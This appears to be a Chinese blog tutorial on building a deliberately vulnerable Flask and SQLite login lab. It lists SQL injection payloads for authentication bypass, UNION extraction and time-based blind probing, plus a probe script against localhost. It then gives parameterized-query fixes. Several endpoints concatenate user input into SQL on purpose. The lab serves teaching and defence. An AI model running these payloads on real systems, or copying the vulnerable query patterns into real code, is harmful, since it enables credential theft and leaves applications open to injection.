别再只会用SQLMap了!手把手教你用Python Flask模拟一个真实的SQL注入靶场(附源码)
·
从零构建SQL注入实战靶场:Flask框架下的漏洞攻防演练
1. 为什么我们需要自己搭建SQL注入靶场?
在网络安全领域,理论知识和实战能力之间往往存在巨大鸿沟。很多初学者通过视频教程或文章了解了SQL注入的基本概念,但当真正面对一个真实系统时却不知从何下手。这正是我们需要亲手搭建并攻击自己构建的漏洞系统的原因。
传统学习方法存在三个主要局限:
- 黑箱操作 :使用现成工具如SQLMap虽然能快速获得结果,但掩盖了底层原理
- 环境限制 :公开的演练平台往往限制payload构造的自由度
- 防御盲区 :不了解攻击原理就难以实施有效防护
通过本实验,你将获得:
- 对SQL注入漏洞形成 肌肉记忆级 的理解
- 掌握从漏洞构建到利用再到修复的 完整闭环
- 能够自主分析各种变种SQL注入的能力
提示:本实验需要基础Python和SQL知识,但即使初学者也能跟随步骤完成。所有代码均提供完整版本。
2. 靶场环境搭建
2.1 基础框架配置
我们选用Flask作为Web框架,SQLite作为数据库,这是最轻量级的实验组合。首先创建项目结构:
mkdir sql_injection_lab
cd sql_injection_lab
python -m venv venv
source venv/bin/activate # Windows使用 venv\Scripts\activate
pip install flask sqlalchemy
创建基础应用文件 app.py :
from flask import Flask, render_template, request, redirect, session
import sqlite3
app = Flask(__name__)
app.secret_key = 'your_secret_key_here'
# 初始化数据库
def init_db():
conn = sqlite3.connect('database.db')
c = conn.cursor()
c.execute('''CREATE TABLE IF NOT EXISTS users
(id INTEGER PRIMARY KEY, username TEXT, password TEXT, email TEXT)''')
# 添加测试数据
c.execute("INSERT OR IGNORE INTO users VALUES (1, 'admin', 'admin123', 'admin@example.com')")
c.execute("INSERT OR IGNORE INTO users VALUES (2, 'user1', 'password1', 'user1@example.com')")
conn.commit()
conn.close()
init_db()
2.2 故意引入漏洞的登录功能
下面我们故意编写存在SQL注入漏洞的登录验证代码:
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
conn = sqlite3.connect('database.db')
c = conn.cursor()
# 存在注入漏洞的SQL查询
query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
c.execute(query)
user = c.fetchone()
conn.close()
if user:
session['user'] = user[1]
return redirect('/dashboard')
else:
return "登录失败,请重试"
return render_template('login.html')
这段代码的致命问题在于直接拼接用户输入到SQL查询中。当用户输入 admin' -- 时,密码检查部分会被注释掉,导致可以绕过认证。
3. SQL注入攻击实战
3.1 基础注入技术
让我们通过几个经典payload来测试这个漏洞:
-
认证绕过 :
用户名:admin' -- 密码:任意生成的SQL:
SELECT * FROM users WHERE username='admin' --' AND password='任意' -
数据提取 :
用户名:' UNION SELECT 1,group_concat(tbl_name),3,4 FROM sqlite_master WHERE type='table' -- 密码:任意这将返回数据库中所有表名
-
密码提取 :
用户名:' UNION SELECT id,username,password,email FROM users -- 密码:任意
3.2 自动化漏洞探测
虽然我们强调手动理解,但了解自动化原理也很重要。下面是一个简单的Python探测脚本:
import requests
target_url = "http://localhost:5000/login"
payloads = [
"' OR '1'='1",
"' UNION SELECT null,username,password,null FROM users--",
"' OR 1=1--"
]
for payload in payloads:
data = {"username": payload, "password": "test"}
response = requests.post(target_url, data=data)
if "dashboard" in response.url:
print(f"成功利用payload: {payload}")
break
4. 漏洞修复方案
4.1 参数化查询改造
修复漏洞的核心方法是使用参数化查询。修改后的登录函数:
@app.route('/secure_login', methods=['GET', 'POST'])
def secure_login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
conn = sqlite3.connect('database.db')
c = conn.cursor()
# 使用参数化查询
query = "SELECT * FROM users WHERE username=? AND password=?"
c.execute(query, (username, password))
user = c.fetchone()
conn.close()
if user:
session['user'] = user[1]
return redirect('/dashboard')
else:
return "登录失败,请重试"
return render_template('login.html')
4.2 防御深度加固
除了参数化查询,还应实施以下防御措施:
| 防御层 | 实施方法 | 效果 |
|---|---|---|
| 输入验证 | 白名单验证用户名格式 | 过滤特殊字符 |
| 最小权限 | 数据库用户仅限SELECT | 限制破坏范围 |
| 错误处理 | 自定义错误页面 | 避免信息泄露 |
| 日志监控 | 记录失败登录尝试 | 发现攻击行为 |
对应的实现代码片段:
# 输入验证示例
import re
def is_valid_username(username):
return re.match(r'^[a-zA-Z0-9_]{3,20}$', username)
# 数据库连接使用只读用户
def get_readonly_conn():
conn = sqlite3.connect('file:database.db?mode=ro', uri=True)
return conn
5. 进阶实验与扩展
5.1 盲注模拟环境
在真实场景中,很多SQL注入是"盲注",即没有直接错误回显。我们可以扩展靶场来模拟这种情况:
@app.route('/blind_login', methods=['POST'])
def blind_login():
username = request.form['username']
password = request.form['password']
conn = sqlite3.connect('database.db')
c = conn.cursor()
try:
c.execute(f"SELECT * FROM users WHERE username='{username}' AND password='{password}'")
user = c.fetchone()
conn.close()
return "存在用户" if user else "用户不存在"
except:
conn.close()
return "发生错误"
5.2 时间型盲注检测
通过响应时间差异判断注入结果:
import time
def check_time_based(username):
start = time.time()
conn = sqlite3.connect('database.db')
c = conn.cursor()
# 恶意payload示例
payload = f"admin' AND (SELECT CASE WHEN (SELECT substr(password,1,1) FROM users WHERE username='admin')='a' THEN randomblob(10000000) ELSE 1 END)--"
c.execute(f"SELECT * FROM users WHERE username='{payload}'")
conn.close()
return time.time() - start > 2 # 明显延迟表示条件为真
6. 靶场功能扩展建议
为了使实验环境更接近真实场景,可以考虑添加以下功能模块:
-
搜索功能注入点 :
@app.route('/search') def search(): query = request.args.get('q', '') conn = sqlite3.connect('database.db') c = conn.cursor() # 故意不安全的实现 c.execute(f"SELECT * FROM products WHERE name LIKE '%{query}%'") results = c.fetchall() conn.close() return render_template('search.html', results=results) -
订单查询注入点 :
@app.route('/order') def view_order(): order_id = request.args.get('id', '') conn = sqlite3.connect('database.db') c = conn.cursor() # 易受攻击的实现 c.execute(f"SELECT * FROM orders WHERE id={order_id}") order = c.fetchone() conn.close() return render_template('order.html', order=order) -
用户资料注入点 :
@app.route('/profile/<user_id>') def profile(user_id): conn = sqlite3.connect('database.db') c = conn.cursor() # 不安全的实现 c.execute(f"SELECT * FROM users WHERE id={user_id}") user = c.fetchone() conn.close() return render_template('profile.html', user=user)
每个功能模块都应提供安全和不安全两种实现版本,方便对比学习。
更多推荐
所有评论(0)